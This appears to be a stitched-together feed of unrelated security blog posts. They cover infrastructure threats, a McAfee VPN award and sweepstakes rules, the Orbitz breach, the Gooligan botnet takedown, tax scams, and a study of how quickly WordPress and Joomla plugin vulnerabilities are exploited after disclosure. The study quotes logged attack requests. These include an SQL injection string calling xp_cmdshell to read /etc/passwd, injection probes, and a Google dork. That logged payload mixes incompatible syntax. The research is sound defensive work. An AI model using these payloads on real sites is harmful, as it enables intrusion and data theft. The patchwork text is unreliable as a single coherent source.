Security researchers have long shared their concerns about potential cyberattacks on critical infrastructure systems. Over the past few weeks, there have been several reports highlighting the dangers of such attacks. According to the New York Times, investigators believe that a cyberattack against a petrochemical plant in Saudi Arabia in August last year was intended to not only sabotage the plant’s operations but also cause an explosion that could have killed people. The only thing that reportedly prevented the explosion was a mistake in the computer code used by the attackers. Experts believe that a nation-state attacker was responsible, given that there was no obvious financial motivation from the attack. Also this month, the US accused Russia of a wide-ranging cyber-assault on its energy grid and other parts of its critical infrastructure, with many of the reported tactics resembling the Dragonfly 2.0 campaign, in which hackers infiltrated energy facilities in North America and Europe.
We are at an alarming point in terms of our critical infrastructure security, where governments around the world are on high alert to the potential for damaging attacks. The head of the UK’s National Cyber Security Centre (NCSC) warned in January that he expects the UK to suffer a major, crippling cyberattack against its national critical infrastructure during the next two years.
Nation state attackers are well aware of the political fallout that could arise as a result of dangerous cyberattacks on control networks, and so it is imperative that security issues within these systems are addressed urgently.
Industrial control systems at risk
The National Cyber Security Centre is right to be concerned about potential cyberattacks against UK critical infrastructure. Across all parts of critical national infrastructure, we are seeing a greater number of sophisticated and damaging cyber threats which are often believed to be the work of foreign governments seeking, it is alleged, to cause everything from mischief through to political upheaval. While offering many benefits in terms of productivity and visibility, the greater connectivity arising from the Internet of Things has also exposed many industrial control systems to a range of damaging cyberattacks. For example, DDoS attacks can be used to disrupt the availability of critical services, while simultaneously allowing attackers to plant damaging, or as in the Saudi case even weaponized, malware. Last October’s DDoS attacks against the transport network in Sweden caused train delays and disrupted travel services, while the WannaCry ransomware attacks last May demonstrated the capacity for cyberattacks to impact people’s access to essential services. The current cyber security landscape has changed almost beyond recognition – ten years ago, only the most Orwellian futurists would have predicted that major national elections would be manipulated by cyberattacks.
What’s next?
The pressure is now on for the cyber security community and governments to act on this issue to defend against this apparent increase in nation state attacks. The NIS Directive with the UK/EU and the NIST framework in the US present a golden opportunity to improve critical infrastructure cyber security. But to be truly effective, these regulations must compel operators of essential services to deliver higher levels of cyber security and require that these essential services remain available during an attack. As seen in recent days with Facebook and Cambridge Analytica, it won’t matter if infrastructure operators claim ‘tick-box’ regulatory compliance as their defence if their essential service has failed to remain open for business during a nation state sponsored cyber-attack.
To find out more, contact us.
On February 28th, Info Security Products Guide Global Excellence Awards presented their 2018 award winners. We are humbled to have received two golds in the Product or Service Excellence of the Year — Security Information and Website & Web Application Security for McAfee Safe Connect.
McAfee Safe Connect is a VPN (Virtual Private Network) that helps users create secure online connections while using the internet. Doing so helps our customers minimize their individual security risks and helps keep their data private – especially when connecting to a public or open Wi-Fi network. Unlike home Wi-Fi, many public Wi-Fi networks (commonly offered at cafés, airports and hotels) aren’t password-protected and don’t encrypt the user data being transmitted through. Therefore, when you connect to a hotspot, your online activities from your social media activity to your online purchase history and even your bank account credentials may be wide open to hackers. With McAfee Safe Connect, you can rest assured that your information and online activities are encrypted.
McAfee has a proven record of providing security for consumers in the digital age. To address growing concerns over Wi-Fi security, we created an award-winning VPN that would keep users’ personal information secure from online threats and unsecure networks.
McAfee Safe Connect has over 1 million downloads across Google Play and the App Store with an impressive 4.3-star rating. It is available in over 20 languages to users worldwide.
Tech behemoth Samsung also chose McAfee Safe Connect VPN for their Galaxy Note 8 – Secure Wi-Fi feature and expanded collaboration with its newly announced Galaxy S9 Smartphones.
Info Security Products Guide sponsors the Global Excellence Awards and plays a vital role in keeping individuals informed of the choices they can make when it comes to protecting their digital resources and assets. The guide is written expressly for those who wish to stay informed about recent security threats and the preventive measure they can take. You will discover a wealth of information in this guide including tomorrow’s technology today, best deployment scenarios, people and technologies shaping cyber security and industry predictions & directions that facilitate in making the most pertinent security decisions. Visit www.infosecurityproductsguide.com for the complete list of winners.
We are proud of recognition given to McAfee Safe Connect, which aims to safeguard every Internet user’s online privacy. Please check out our award-winning Wi-Fi Privacy VPN product: McAfee Safe Connect.
Interested in learning more about McAfee Safe Connect and mobile security tips and trends? Follow @McAfee_Home on Twitter, and ‘Like’ us on Facebook.
The post McAfee Safe Connect, Two Gold Award Winners of 2018 Info Security PG’s Global Excellence Awards® appeared first on McAfee Blogs.
Just a few weeks back, Info Security Products Guide awarded McAfee Safe Connect with two Gold-Level Global Excellence Awards for Product or Service Excellence of the Year – Security Information and Website & Web Application Security!
To celebrate, we’re treating you to a #RT2Win Sweepstakes on the @McAfee_Home Twitter handle. Ten [10] lucky winners of the Sweepstakes drawing will receive a one-year free subscription of McAfee Safe Connect to provide security and privacy across your PC, iOS, and Android devices when connecting to Wi-Fi hotspots and private networks.
All you have to do is simply retweet one of our contest tweets between March 26, 2018 – April 17, 2018 for your chance to win. Sweepstake tweets will include “#McAfeeSafeConnect, #RT2Win, and #Sweepstakes”. Terms and conditions below.
Retweet one of our contest tweets on @McAfee_Home that include “#RT2Win, #Sweepstakes, and #McAfeeSafeConnect” for a chance to win a one-year free subscription to McAfee Safe Connect. Ten [10] total winners will be selected and announced on April 18, 2018. Winners will be notified by direct message on Twitter. For full Sweepstakes details, please see the Terms and Conditions, below.
No purchase necessary. A purchase will not increase your chances of winning. McAfee Safe Connect #RT2Win Sweepstakes will be conducted from March 26, 2018 through April 17, 2018. All entries for each day of the McAfee Safe Connect #RT2Win Sweepstakes must be received during the time allotted for the McAfee Safe Connect #RT2Win Sweepstakes. Pacific Daylight Time shall control the McAfee Safe Connect #RT2Win Sweepstakes. The McAfee Safe Connect #RT2Win Sweepstakes duration is as follows.
For the McAfee Safe Connect #RT2Win Sweepstakes, participants must complete the following steps during the time allotted for the McAfee Safe Connect #RT2Win Sweepstakes:
Ten [10] winners will be chosen for the McAfee Safe Connect #RT2Win Sweepstakes tweet from the viable pool of entries that retweeted and included #RT2Win, #Sweepstakes, #McAfeeSafeConnect. McAfee and the McAfee social team will choose winners from all the viable entries. The winners will be announced and privately messaged on April 18, 2018 on the @McAfee_Home Twitter handle. No other method of entry will be accepted besides Twitter. Only one entry per user is allowed, per Sweepstakes.
McAfee Safe Connect #RT2Win Sweepstakes is open to all legal residents of the 50 United States who are 18 years of age or older on the dates of the McAfee Safe Connect #RT2Win Sweepstakes begins and live in a jurisdiction where this prize and McAfee Safe Connect #RT2Win Sweepstakes are not prohibited. Employees of Sponsor and its subsidiaries, affiliates, prize suppliers, and advertising and promotional agencies, their immediate families (spouses, parents, children, and siblings and their spouses), and individuals living in the same household as such employees are ineligible.
Winners will be selected at random from all eligible retweets received during the McAfee Safe Connect #RT2Win Sweepstakes drawing entry period. Sponsor will select the names of ten [10] potential winners of the prizes in a random drawing from among all eligible submissions at the address listed below. The odds of winning depend on the number of eligible entries received. By participating, entrants agree to be bound by the Official McAfee Safe Connect #RT2Win Sweepstakes Rules and the decisions of the coordinators, which shall be final and binding in all respects.
Each winner will be notified via direct message (“DM”) on Twitter.com by April 18th. Prize winners may be required to sign an Affidavit of Eligibility and Liability/Publicity Release (where permitted by law) to be returned within ten [10] days of written notification, or prize may be forfeited, and an alternate winner selected. If a prize notification is returned as unclaimed or undeliverable to a potential winner, if potential winner cannot be reached within twenty-four [24] hours from the first DM notification attempt, or if potential winner fails to return requisite document within the specified time period, or if a potential winner is not in compliance with these Official Rules, then such person shall be disqualified and, at Sponsor’s sole discretion, an alternate winner may be selected for the prize at issue based on the winner selection process described above.
The prize for the McAfee Safe Connect #RT2Win Sweepstakes is a one-year free subscription to McAfee Safe Connect. Entrants agree that Sponsor has the sole right to determine the winners of the McAfee Safe Connect #RT2Win Sweepstakes and all matters or disputes arising from the McAfee Safe Connect #RT2Win Sweepstakes and that its determination is final and binding. There are no prize substitutions, transfers or cash equivalents permitted except at the sole discretion of Sponsor. Sponsor will not replace any lost or stolen prizes. Sponsor is not responsible for delays in prize delivery beyond its control. All other expenses and items not specifically mentioned in these Official Rules are not included and are the prize winners’ sole responsibility.
Entrants agree that by entering they agree to be bound by these rules. All federal, state and local taxes, fees, and surcharges on prize packages are the sole responsibility of the prizewinner. Sponsor is not responsible for incorrect or inaccurate entry information, whether caused by any of the equipment or programming associated with or utilized in the McAfee Safe Connect #RT2Win Sweepstakes, or by any technical or human error, which may occur in the processing of the McAfee Safe Connect #RT2Win Sweepstakes entries. By entering, participants release and hold harmless Sponsor and its respective parents, subsidiaries, affiliates, directors, officers, employees, attorneys, agents, and representatives from any and all liability for any injuries, loss, claim, action, demand, or damage of any kind arising from or in connection with the McAfee Safe Connect #RT2Win Sweepstakes, any prize won, any misuse or malfunction of any prize awarded, participation in any McAfee Safe Connect #RT2Win Sweepstakes-related activity, or participation in the McAfee Safe Connect #RT2Win Sweepstakes. Except for applicable manufacturer’s standard warranties, the prizes are awarded “AS IS” and WITHOUT WARRANTY OF ANY KIND, express or implied (including any implied warranty of merchantability or fitness for a particular purpose).
By entering the Sweepstakes, you release Sponsor and all Released Parties from any liability whatsoever, and waive any and all causes of action, related to any claims, costs, injuries, losses, or damages of any kind arising out of or in connection with the Sweepstakes or delivery, misdelivery, acceptance, possession, use of or inability to use any prize (including claims, costs, injuries, losses and damages related to rights of publicity or privacy, defamation or portrayal in a false light, whether intentional or unintentional), whether under a theory of contract, tort (including negligence), warranty or other theory.
To the fullest extent permitted by applicable law, in no event will the sponsor or the released parties be liable for any special, indirect, incidental, or consequential damages, including loss of use, loss of profits or loss of data, whether in an action in contract, tort (including, negligence) or otherwise, arising out of or in any way connected to your participation in the sweepstakes or use or inability to use any equipment provided for use in the sweepstakes or any prize, even if a released party has been advised of the possibility of such damages.
If winner cannot be notified, does not respond to notification, does not meet eligibility requirements, or otherwise does not comply with these prize McAfee Safe Connect #RT2Win Sweepstakes rules, then the winner will forfeit the prize and an alternate winner will be selected from remaining eligible entry forms for each McAfee Safe Connect #RT2Win Sweepstakes.
Entrants agree that Sponsor has the sole right to determine the winners of the McAfee Safe Connect #RT2Win Sweepstakes and all matters or disputes arising from the McAfee Safe Connect #RT2Win Sweepstakes and that its determination is final and binding. There are no prize substitutions, transfers or cash equivalents permitted except at the sole discretion of Sponsor.
Each entrant agrees that any disputes, claims, and causes of action arising out of or connected with these sweepstakes or any prize awarded will be resolved individually, without resort to any form of class action and these rules will be construed in accordance with the laws, jurisdiction, and venue of Delaware.
Personal information obtained in connection with this prize McAfee Safe Connect #RT2Win Sweepstakes will be handled in accordance policy set forth at http://www.mcafee.com/us/about/privacy.html.
The post McAfee Safe Connect RT2Win Sweepstakes Terms and Conditions appeared first on McAfee Blogs.
One of the biggest data breach announcements of the past week belonged to Orbitz, which said on Tuesday that as many as 880,000 customers may have had their payment card and other personal information compromised due to unauthorized access to a legacy Orbitz travel booking platform.
“Orbitz determined on March 1, 2018 that there was evidence suggesting that, between October 1, 2017 and December 22, 2017, an attacker may have accessed certain personal information, stored on this consumer and business partner platform, that was submitted for certain purchases made between January 1, 2016 and June 22, 2016 (for Orbitz platform customers) and between January 1, 2016 and December 22, 2017 (for certain partners’ customers),” the company said in a statement.
Information potentially compromised includes payment card information, names, dates of birth, addresses, phone numbers, email addresses, and gender.
As American Express noted in its statement about the breach, the affected Orbitz platform served as the underlying booking engine for many online travel websites, including Amextravel.com and travel booked through Amex Travel Representatives.
Expedia, which purchased Orbitz in 2015, did not say how many or which partner platforms were affected by the breach, USA Today reported. However, the company did say that the current Orbitz.com site was not affected.
Other trending cybercrime events from the week include:
SurfWatch Labs collected data on many different companies tied to cybercrime over the past week. Some of the top trending targets are shown in the chart below.
Facebook has faced a week of criticism, legal actions, and outcry from privacy advocates after it was revealed that the political consulting Cambridge Analytica had accessed the information of 50 million users and leveraged that information while working with the Donald Trump campaign in 2016.
“Cambridge Analytica obtained the data from a professor at the University of Cambridge who had collected the information by creating a personality-quiz app in 2013 that plugged into Facebook’s platform,” The Wall Street Journal reported. “Before a policy change in 2015, Facebook gave app creators and academics access to a treasure trove of data, ranging from which pages users liked to details about their friends.”
It isn’t clear how many other developers might have retained information harvested from Facebook before the 2015 policy change, The Journal reported. However, Mark Zuckerberg said the company may spend “many millions of dollars” auditing tens of thousands of data collecting apps in order to get a better handle on the situation.
The privacy breach has already led to regulatory scrutiny and potential lawsuits around the globe. Bloomberg reported that the FTC is probing whether data handling violated terms of a 2011 consent decree. In addition, Facebook said it would conduct staff-level briefings with six congressional committees in the coming week. Some lawmakers have called for Zuckerberg to testify as well, and Zuckerberg told media outlets that he would be willing to do so if asked.
Facebook’s stock price has dropped from $185 to $159 over the past eight days amid the controversy, and several companies have suspended their advertising on Facebook or deleted their Facebook pages altogether due to the public backlash.
This post provides an in-depth analysis of Gooligan monetization schemas and recounts how Google took it down with the help of external partners.
This post is the final post of the series dedicated to the hunt and take down of Gooligan that we did at Google in collaboration with Check Point in November 2016. The first post recounts the Gooligan origin story and offers an overview of how it works. The second one provides an in-depth analysis of Gooligan’s inner workings and an analysis of its network infrastructure. As this post builds on the previous two, I encourage you to read them if you haven’t done so already.
This series of posts is modeled after the talk I gave on the subject at Botconf in December 2017. Here is a recording of the talk:
You can also get the slides here , but they are pretty bare.
Gooligan’s goal was to monetize the infected devices through two main fraudulent schemas: Ad fraud and Android app boosting.
As shown in the screenshot above, periodically Gooligan will use its root privileges to overlay an ad popup for a legitimate app on top of any activity the user was currently doing. Under the hood, Gooligan knows when the user is looking at the phone, as it monitors various key events, including when the screen is turned on.
We don’t have much insight on how effective those ad campaigns were or who was reselling them, as they don’t abuse Google’s ads network, and they use a gazillion HTTP redirects, which makes attribution close to impossible. However we believe that ad fraud was the main driver of Gooligan revenue, given its volume and the fact that we blocked its fake installs as discussed below.
The second way Gooligan attempted to monetize infected devices was by performing Android app boosting. An app boosting package is a bundle of searches for a specific query on the Play store, followed by an install and a review. The search is used in an attempt to rank the app for a given term. This tactic is commonly peddled in App Store Optimization (ASO) guides.
The reason Gooligan went through the trouble of stealing OAuth tokens and manipulating the Play store is probably that the defenses we put in place are very effective at detecting and discounting fake synthetic installs. Using real devices with real accounts was the Gooligan authors’ attempt to evade our detection systems. Overall, it was a total failure on their side: We caught all the fake installs, and suspended the abusive apps and developers.
As illustrated in the diagram above, the app boosting was done in four steps:
Token stealing: The malware extracts the phone’s long term token from the phone’s accounts.
Taking order: Gooligan reports phone information to the central command and control system, and receives in response a reply telling it which app to boost, including which search term to use and which comment to leave (if any). Phone information is exfiltrated because Gooligan authors also had access to non-compromised phones and were trying to use information obtained from Gooligan to fake requests from those phones.
Token exchange: The long term token is exchanged for a short term token that allows Gooligan to access the Play store. We are positive that no user data was compromised by Gooligan, as no other data was ever requested by Gooligan.
Boosting: The fake search, installation, and potential review is carried out through the manipulated Play store app.
Cleaning up Gooligan was challenging for two reasons: First, as discussed in the infection post , its reset persistence mechanism meant that doing a factory reset was not enough to clean up the old unpatched devices. Second, the Oauth tokens had been exfiltrated to Gooligan servers.
Asking users to reflash their devices would have been unreasonable and issuing an OTA (Over The Air) update would have take too long. Given this difficult context and the need to act quickly to protect our users we went for an alternative solution that we rarely use: orchestrating a takedown with the help of third parties.
With the help of Shadowserver foundation and domain registrars we sinkholed Gooligan domains and got them to point to Shadowserver controlled IPs instead of IPs controlled by Gooligan authors. This sinkholing ensured that infected devices couldn’t exfiltrate token or receive fraud commands, as they would connect to sinkhole servers instead of the real command and control servers. As shown in the graph above, our takedown was very successful: It blocked over 50M attempts to connect to Gooligan’s control server in 2017.
With the sinkhole in place, the second part of the remediation involved resecuring the accounts that were compromised, by disabling the exfiltrated tokens and notifying the users. Notification at that scale is very complex, for three key reasons:
Reaching users in a timely fashion across a wide range of devices is difficult. We ended up using a combination of SMS, email, and Android messaging, depending on what communication channel was available.
It was important to make the notification understandable and useful to all users. Explaining what was happening clearly and simply took a lot of iteration. We ended up with the notification shown in the screenshot above.
Once crafted, the text of the notification and help page had to be translated into the languages spoken by our users. Performing high quality internationalization for over 20 languages very quickly was quite a feat.
Overall, in order to respond to Gooligan, many people, including myself, ended up working long hours through the Thanksgiving weekend (an important holiday in the U.S.). Our commitment to quickly eradicate this threat paid off: On the evening of Monday, November 29th, the takedown took place, followed the next day by the resecuring of the compromised accounts. All in all, this takedown took a mere few days, which is blazing fast when you compare it to other similar ones. For example, the Avalanche botnet ) takedown took four years of intensive efforts.
To conclude, Gooligan was a very challenging malware to tackle, due to its scale and unconventional tactics. We were able to meet this challenge and defeat it, thanks to a cross-industry effort and the involvement of many teams at Google that didn’t go home until users were safe.
Thanks for reading this post all the way to the end. I hope it showcases how we approach botnet fighting and sheds some light on some of the lesser known, yet still critical, activities that our research team assists with.
Thank you for reading this post till the end! If you enjoyed it, don’t forget to share it on your favorite social network so that your friends and colleagues can enjoy it too and learn about Gooligan.
To get notified when my next post is online, follow me on Twitter , Facebook , Google+ , or LinkedIn . You can also get the full posts directly in your inbox by subscribing to the mailing list or via RSS .
A bientôt!
It’s the most vulnerable time of the year. Tax time is when cyber criminals pull out their best scams and manage to swindle consumers — smart consumers — out of millions of dollars.
According to the Internal Revenue Service (IRS), crooks are getting creative and putting new twists on old scams using email, phishing and malware, threatening phone calls, and various forms of identity theft to gain access to your hard earned tax refund.
While some of these scams are harder to spot than others, almost all of them can be avoided by understanding the covert routes crooks take to access your family’s data and financial accounts.
According to the IRS, the con games around tax time regularly change. Here are just a few of the recent scams to be aware of:
According to the IRS, schemes are getting more sophisticated. By stealing client data from legitimate tax professionals or buying social security numbers on the black market, a criminal can file a fraudulent tax return. Once the IRS deposits the tax refund into the taxpayer’s account, crooks then use various tactics (phone or email requests) to reclaim the refund from the taxpayer. Multiple versions of this sophisticated scam continue to evolve. If you see suspicious funds in your account or receive a refund check you know is not yours, alert your tax preparer, your bank, and the IRS. To return erroneous refunds, take these steps outlined by the IRS.
If someone calls you claiming to be from the IRS demanding a past due payment in the form of a wire 
transfer or money order, hang up. Imposters have been known to get aggressive and will even threaten to deport, arrest, or revoke your license if you do not pay the alleged outstanding tax bill.
In a similar scam, thieves call potential victims posing as IRS representatives and tell potential victims that two certified letters were previously sent and returned as undeliverable. The callers then threaten to arrest if a payment the victim does not immediately pay through a prepaid debit card. The scammer also tells the victim that the purchase of the card is linked to the Electronic Federal Tax Payment System (EFTPS) system.
Note: The IRS will never initiate an official tax dispute via phone. If you receive such a call, hang up and report the call to the IRS at 1-800-829-1040.
Baiting you with fear, scammers may also leave urgent “callback” requests through prerecorded phone robot or robo calls, or through a phishing email. Bogus IRS robo often politely ask taxpayers to verify their identity over the phone. These robo calls will even alter caller ID numbers to make it look as if the IRS or another official agency is calling.
Be on the lookout for emails with links to websites that ask for your personal information. According to the IRS, thieves now send very authentic-looking messages from credible-looking addresses. These emails coax victims into sharing sensitive information or contain links that contain malware that collects data.
To protect yourself stay alert and be wary of any emails from financial groups or government agencies Don’t share any information online, via email, phone or by text. Don’t click on random links sent to you via email. Once that information is shared anywhere, a crook can steal your identity and use it in different scams.
In one particular scam crooks target human resource departments. In this scenario, a thief sends an email from a fake organization executive. The email is sent to an employee in the payroll or human resources departments, requesting a list of all employees and their Forms W-2. This scam is sometimes referred to as business email compromise (BEC) or business email spoofing (BES). 
Using the collected data criminals then attempt to file fraudulent tax returns to claim refunds. Or, they may sell the data on the Internet’s black market sites to others who file fraudulent tax returns or use the names and Social Security Numbers to commit other identity theft related crimes. While you can’t personally avoid this scam, be sure to inquire about your firm’s security practices and try to file your tax return early every year to beat any potentially false filing. Businesses/payroll service providers should file a complaint with the FBI’s Internet Crime Complaint Center (IC3).
As a reminder, the IRS will never:
If you are the victim identity, theft be sure to take the proper reporting steps. If you receive any unsolicited emails claiming to be from the IRS to phishing@irs.gov (and then delete the emails).
This post is part II of our series on keeping your family safe during tax time. To read more about helping your teen file his or her first tax return, here’s Part I.
Toni Birdsong is a Family Safety Evangelist to McAfee. You can find her on Twitter @McAfee_Family. (Disclosures).
The post Don’t Get Duped: How to Spot 2018’s Top Tax Scams appeared first on McAfee Blogs.
With all the news about Facebook recently, you might be wondering, what exactly does Facebook know about me from my profile? Sure, you can peruse your profile online, but that doesn’t tell the whole story. One way to see what Facebook has on you is to download your Facebook data.
The ability to download your Facebook data isn’t really new, but not many users know that you can do it. It only takes a few minutes; how long depends on how big your data files are. Here are the steps to download your Facebook data.
If you’ve decided that you want to leave Facebook completely, here’s how to delete, disable, or limit your Facebook account.
Paul gives a tech segment on How to find the most innovative tech at a security show. In the news, we have updates from Alex Stamos, Facebook harvesting information about YOU, Uber self-driving car hits and kills pedestrian, and more on this episode of Paul's Security Weekly!
→Full Show Notes: https://wiki.securityweekly.com/Episode552
→Visit https://www.securityweekly.com/psw for all the latest episodes!
Summary
Over the past few months, I’ve been monitoring the proliferation of exploits for some of my disclosed WordPress Plugin and Joomla Extension vulnerabilities against Akamai customers. I started this observation process which leads to an expected conclusion – severe vulnerabilities like SQL Injection, RFI and LFI would receive the most attention for any CMS platform. While less severe vulnerabilities such as XSS and path disclosure would likely receive less attention from the attackers.
The initial idea was to track three of my own disclosures after they had been published and see how much time elapsed until they were weaponized and attempts were made to exploit them in the wild. In total, I had released three previously unknown SQL injection vulnerabilities in three well known Joomla extensions. These aforementioned vulnerabilities had been remedied by the original authors prior to research being published, These disclosures appeared to go unnoticed by the black hat community.
This paper examines the time elapsed between a when a vulnerability is publicly disclosed until we begin to observe widespread exploitation attempts by adversaries.
What Happened
The three disclosed vulnerabilities were released last September listed in the following table. Each advisory details a SQL Injection vulnerability that does not require the attacker to have a login on the target’s website:
| Date | Description | CVE ID |
|---|---|---|
| 2016-09-16 | Huge-IT Portfolio Gallery Plugin v1.0.6 | CVE-2016-1000124 |
| 2016-09-15 | Huge-IT Video Gallery v1.0.9 | CVE-2016-1000123 |
| 2016-09-16 | Huge-IT Catalog v1.0.7 for Joomla | CVE-2016-1000125 |
After nearly a year, I decided to investigate what might be causing my disclosures to be ignored. I looked at other SQL injection vulnerabilities in Joomla extensions that were turning up in Akamai’s attack logs and found an obvious difference. While my advisories had permeated the usual exploit curator websites, like packetstormsecurity.org, they had not made it over to http://exploit-db.com, http://cxsecurity.org and http://0day.today. Two days after submitting all three exploits to exploit-db.com I found a hit in Akamai’s logs. The attack attempt originated from IP address belonging to a telecommunications company in North Africa. They were targeting a .mil website with the SQL injection in Huge IT portfolio v1.0.9 using SQLmap.
IP: 105.158.11.8
Path: ajax_url.php
Query: QmX=6156 AND 1=1 UNION ALL SELECT 1,NULL,'alert("XSS")',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')
User-Agent: sqlmap/1.0.9.6#dev (http://sqlmap.org)
A second attack occurred five days later. This time the attacker targeted a Russian e-commerce site, by attempting to redirect the malicious requests through a popular online auction house. The requests appear to be looking for other injection points, since each request placed a single quote, ‘ at a different query parameter.
IP: 104.154.86.249 Query: option=com_catalog&_sacat=&_ex_kw='A=0&_mPrRngCbx=1&_udlo=&_udhi=&_sop=12&_fpos=&_fspt=1&_sadis=&LH_CAds=&task=viewitem&secid=13&id=34&Itemid=10&rmvSB=true IP: 104.154.86.249 Query: option=com_catalog&_sacat='A=0&_ex_kw=&_mPrRngCbx=1&_udlo=&_udhi=&_sop=12&_fpos=&_fspt=1&_sadis=&LH_CAds=&task=viewitem&secid=13&id=34&Itemid=10&rmvSB=true
It seemed that the malicious actors would use exploit-db and CXsecurity websites specifically as their RSS feed of vetted working exploits. Conversely, while advisories published on packetstorm were quite relevant to the information security industry as a whole, they were not formatted into easily consumable exploits as curated by websites like exploit-db and their ilk. Not to leave the most popular CMS out of the fun I also publically disclosed a path traversal vulnerability in a WordPress plugin named Membership Simplified [CVE-2017-1002008]. I released the details on March 14th 2017 and began seeing entries in our logs on Saturday, March 18, 2017 at 9:00:00 PM just four days later. This response time was in stark contrast to my Joomla extension publications.
Why are newly disclosed WordPress plugin vulnerabilities so aggressively pursued? One possible theory is that there are multiple open source tools and frameworks available to scan for plugin vulnerabilities on WordPress websites. These freely available tools are lacking for the Joomla platform.
It is not just the severity of the vulnerability but the proliferation of the software platform that increases its target footprint. WordPress has an enormous market share of the content management software in production on the internet. There are entire frameworks, websites and even companies focused on WordPress core and plugin security.
What about a truly severe vulnerability? Something that doesn’t require authentication and allows the attacker to change content, possibly even execute code?
Earlier this year a researcher at Sucuri, Marc Montipas released a vulnerability affecting WordPress < 4 .7.2. The vulnerability abuses a type juggling bug where any non-integer input bypasses the authentication mechanism allowing a remote unauthenticated attacker to modify any blog post.
I started monitoring attack traffic, via Akamai log files, for this specific vulnerability immediately after it had been made public. The WordPress JSON API vulnerability was assigned CVE-ID CVE-2017-1001000. It first popped up in our attack logs on Wed, 01 Feb 2017 18:00:00 GMT or around 1PM EST just three hours after Sucuri made their blog post public on their site.
It only took three hours after the vulnerability went public to see exploit attempts against Akamai customers turning up in the logs. I’ve noticed the logs after a few months show only a few thousand attempts per day primarily targeting government and military websites. Also, most of the log entries were being generated by the customer themselves. In addition to this, large portions of these scans originate from security companies performing web application security assessments for said customers. The log entries that didn’t originate from a security company or the target’s own DMZ appeared to be POST requests rather than GET. This I assume to minimize noise and attempt to bypass WAF filters as there were many ways to deliver the JSON payload when exploiting this vulnerability.
Shortly after the disclosure by Marc and Securi an article was published stating that over 1.5 million websites had been compromised using this vulnerability. Why am I not seeing the same widespread exploitation attempts against Akamai customers? The answer was simple, the majority of Akamai customers aren’t running WordPress and the attackers were using google dorks to determine which sites were.
A google dork is an advanced search method used to increase Google’s search granularity. To get a quick idea on how many websites out there rely on WordPress I ran the following:
An example, searching google for urls that contain the string /wp-content:
inurl:/wp-content
Returns “About 280,000,000 results”.
In an attempt to further my examination of these attacks, I examined other exploits against Joomla, as it is the second most popular CMS employed by internet websites. I found that, again SQL injection and path traversal vulnerabilities were the most popular. the top of the Joomla examples are listed here, but I primarily focus on WordPress because of its deep penetration into the content management ecosystem.
I discovered with attacks focusing on Joomla extensions the majority of the traffic originated from Virtual Private Servers (VPS) and appeared to be legitimate attack attempts. The logs revealed the opposite for wordpress, the majority of attack attempts originated from the target’s DMZ and were self scans.
| Extension | Attempts |
|---|---|
| com_rpl | 465414 |
| com_content | 61078 |
| com_virtuemart | 17371 |
| com_gcalendar | 8718 |
| com_multicalendar | 8011 |
| com_ajax | 7867 |
| com_poll | 7166 |
| com_contenthistory | 6702 |
| com_remository | 6976 |
| com_pro_desk | 5768 |
| com_jgrid | 5443 |
| com_myblog | 5850 |
| com_hsconfig | 5372 |
| com_smartsite | 5356 |
| com_picsell | 5316 |
The com_rpl at the top of the above table is the result of an SQL injection via the pid parameter of a GET request in an extension called RealtyNA CRM (Client Relationship Management). This is designed to help Joomla based real estate websites manage inquiries on property for sale. The associated vulnerability was disclosed on December 15th 2016 and does not require the attacker to be authenticated to the site. It should be noted that the extension is no longer actively being maintained and has been pulled from Joomla’s code repository. The vendor RealtyNA has directed Joomla users towards its new WordPress plugin.
Most of the above Joomla extensions are vulnerable to SQL injection. When automated tools like SQLmap are used they iterate through various payload types in an attempt to build a working SQL injection exploit. This is why the numbers are much higher than the wordpress table below, SQLi attacks are much more noisier than XSS or RFI.
Besides software popularity, the type of exploit, for example, an “Unrestricted File Upload” vulnerability isn’t going to trigger a WAF alert unless a rule was specifically written for it. As an example, a file upload vulnerability can be more severe than an path traversal vulnerability but it is not likely to set off nearly as many alarms when it is being exploited as it’s harder to fingerprint being an error in the code logic itself. The exploit is a normal looking POST request void of any malicious content. Unless your file payload is something obvious like the notorious c99.php web shell.
With WordPress running on 28.7% of all websites and Joomla coming in at second place with 3.3% the availability of website security assessment applications also follows this trend. There are various utilities to assess the security of your WordPress and Joomla websites, a few are listed below that are popular.
| Application Name | CMS | Project Page |
|---|---|---|
| pyfiscan | multiple | https://github.com/fgeek/pyfiscan |
| WPScan | Wordpress | http://wpscan.org |
| sucuri-scanner | Wordpress | https://wordpress.org/plugins/sucuri-scanner/ |
| nmap | Wordpress | https://nmap.org/nsedoc/scripts/http-wordpress-enum.html |
| Joomla VS | Joomla | https://github.com/rastating/joomlavs |
| Acunetix | Joomla | https://www.acunetix.com/blog/case-studies/joomla/ |
The majority of utilities out there appear to run on the command line, while some are directly integrated into your CMS installation.
The logs which I collected retain attack data for 30 days, I examined recently released vulnerabilities and well-known vulnerabilities to study the most scanned for a 30 day period. I filtered out known penetration testing companies from the logs and removed logs where the connection originated from the targets own network. The Alerts field contains the number of actual payloads that were blocked by Akamai’s WAF, they do not contain benign probe requests from web application vulnerability scanners.
| Plugin | Alerts |
|---|---|
| akismet | 4588 |
| s3bubble-amazon-s3-html-5-video-with-adverts | 2227 |
| bwp-minify | 2050 |
| dni_minify | 1399 |
| wp-ecommerce-shop-styling | 161 |
| jetpack | 114 |
| ie-sitemode | 97 |
| google-mp3-audio-player | 93 |
| revslider | 80 |
| tinymce-thumbnail-gallery | 69 |
| wp-miniaudioplayer | 67 |
| db-backup | 67 |
| dukapress | 62 |
| dm-albums | 59 |
| simple-download-button-shortcode | 58 |
When examining the log entries for the Jetpack WordPress plugin I expected to see in most of the entries an attempt to exploit SQL injection or a local file inclusion vulnerability. Or perhaps even the latest vulnerability in jetpack to be disclosed by Sucuri, a stored XSS vulnerability. The majority of the scans appeared to just verify if jetpack had been installed. If it was installed further checks were made for the existence of specific files like class.jetpack-xmlrpc-server.php or example.html, this it seems was an attempt to exploit CVE-2014-0173 a bypass vulnerability allowing unrestricted access to some of the RPC calls packaged with WordPress.
The majority of plugins being scanned for have been public for many months, in some cases years. Why do scans continue for legacy vulnerable plugins? The reason is vulnerability assessment tools scan for the existence of all known vulnerable plugins, usually by testing for a known specific file that it is packaged with.
Plugin Security – Now
I started re-evaluating plugin security a year later by using the same previous methodology of downloading plugins and manually examining the PHP code for common vulnerabilities like SQLi, XSS, LFI, and RFI. I found plugins that have not been updated in several months pose the most risk. I also discovered plugins with less than 1000 downloads but more than 100 haven’t been updated in an average of 991 days, as of the time of writing, or almost three years. The average plugin from my sample data hasn’t been updated in 1050 days.
